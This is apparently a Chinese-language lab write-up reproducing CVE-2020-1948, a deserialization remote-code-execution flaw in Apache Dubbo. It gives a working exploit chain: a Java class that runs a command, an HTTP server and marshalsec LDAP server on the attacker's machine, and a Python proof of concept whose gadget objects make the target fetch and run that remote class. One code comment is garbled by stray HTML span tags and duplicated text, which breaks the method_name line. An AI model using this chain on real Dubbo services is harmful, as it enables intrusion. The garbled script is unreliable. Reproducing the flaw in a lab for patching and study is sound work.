CVE-2020-1948 Dubbo反序列化漏洞验证

漏洞背景

2020年06月23日, Apache Dubbo 官方发布了Apache Dubbo 远程代码执行的风险通告,该漏洞编号为CVE-2020-1948,漏洞等级:高危。 Apache Dubbo是一款高性能、轻量级的开源Java RPC框架,它提供了三大核心能力:面向接口的远程方法调用,智能容错和负载均衡,以及服务自动注册和发现。 Apache Dubbo Provider存在反序列化漏洞,攻击者可以通过RPC请求发送无法识别的服务名称或方法名称以及一些恶意参数有效载荷,当恶意参数被反序列化时,可以造成远程代码执行。

影响版本

Dubbo 2.7.0 - 2.7.6
Dubbo 2.6.0 - 2.6.7

环境搭建

靶机docker:192.168.24.212

Kali:192.168.21.4

docker环境构建

git clone https://github.com.cnpmjs.org/DSO-Lab/defvul.git
cd defvul/CVE-2020-1948_Dubbo/src
docker-compose up -d

构造poc

exp.java

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;

public class exp {
public exp(){
try {
java.lang.Runtime.getRuntime().exec("touch /tmp/success");
} catch (java.io.IOException e) {
e.printStackTrace();
}
}
}

编译poc

javac exp.java

将编译好的poc(exp.class)放到web网站目录里,确保漏洞主机可以访问到

使用python为本地exp开启http服务

python2 -m SimpleHTTPServer  //默认8000端口

使用marshalsec开启LDAP服务

先下载 marshalsec

// 192.168.21.4:8000 为SimpleHTTPServer的服务端口,确保 http://192.168.21.4:8000/ exp.class 能够在靶机上访问

wget https://github.com/RandomRobbieBF/marshalsec-jar/raw/master/marshalsec-0.0.3-SNAPSHOT-all.jar
root@ Kail2020:/tmp/CVE-2020-1948# java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.21.4:8000/#exp 8086

执行测试脚本,此处测试使用python环境为,先安装依赖包

python3 -m pip install dubbo-py

构建POC

192.168.24.212 12345 为dubbo的IP和端口

192.168.21.4:8000/exp  为exp的路径

# -*- coding: utf-8 -*-

import sys

from dubbo.codec.hessian2 import Decoder,new_object
from dubbo.client import DubboClient


if len(sys.argv) < 4:
print('Usage: python {} DUBBO_HOST DUBBO_PORT LDAP_URL'.format(sys.argv[0]))
print('\nExample:\n\n- python {} 192.168.24.212 12345 ldap://192.168.21.4:8000/exp'.format(sys.argv[0]))
sys.exit()

client = DubboClient(sys.argv[1], int(sys.argv[2]))

JdbcRowSetImpl=new_object(
'com.sun.rowset.JdbcRowSetImpl',
dataSource=sys.argv[3],
strMatchColumns=["foo"]
)
JdbcRowSetImplClass=new_object(
'java.lang.Class',
name="com.sun.rowset.JdbcRowSetImpl",
)
toStringBean=new_object(
'com.rometools.rome.feed.impl.ToStringBean',
beanClass=JdbcRowSetImplClass,
obj=JdbcRowSetImpl
)


resp = client.send_request_and_return_response(
service_name='org.apache.dubbo.spring.boot.sample.consumer.DemoService',
# 此处可以是 invoke、invoke、invokeSync、echo 等,通杀 2.7.7 及 CVE 公布的所有版本。</span> <span style="color: rgb(112, 112, 112);">method_name='echo等,通杀2.7.7及CVE公布的所有版本。</span><spanstyle="color:rgb(112,112,112);">methodname=′invoke',
args=[toStringBean])


output = str(resp)
if 'Fail to decode request due to: RpcInvocation' in output:
print('[!] Target maybe not support deserialization.')
elif 'EXCEPTION: Could not complete class com.sun.rowset.JdbcRowSetImpl.toString()' in output:
print('[+] Succeed.')
else:
print('[!] Output:')
print(output)
print('[!] Target maybe not use dubbo-remoting library.')

执行脚本

python3 poc.py 192.168.24.212 12345 ldap://192.168.21.4:8086/exp

已看到访问请示

ldap服务可以看到请求转发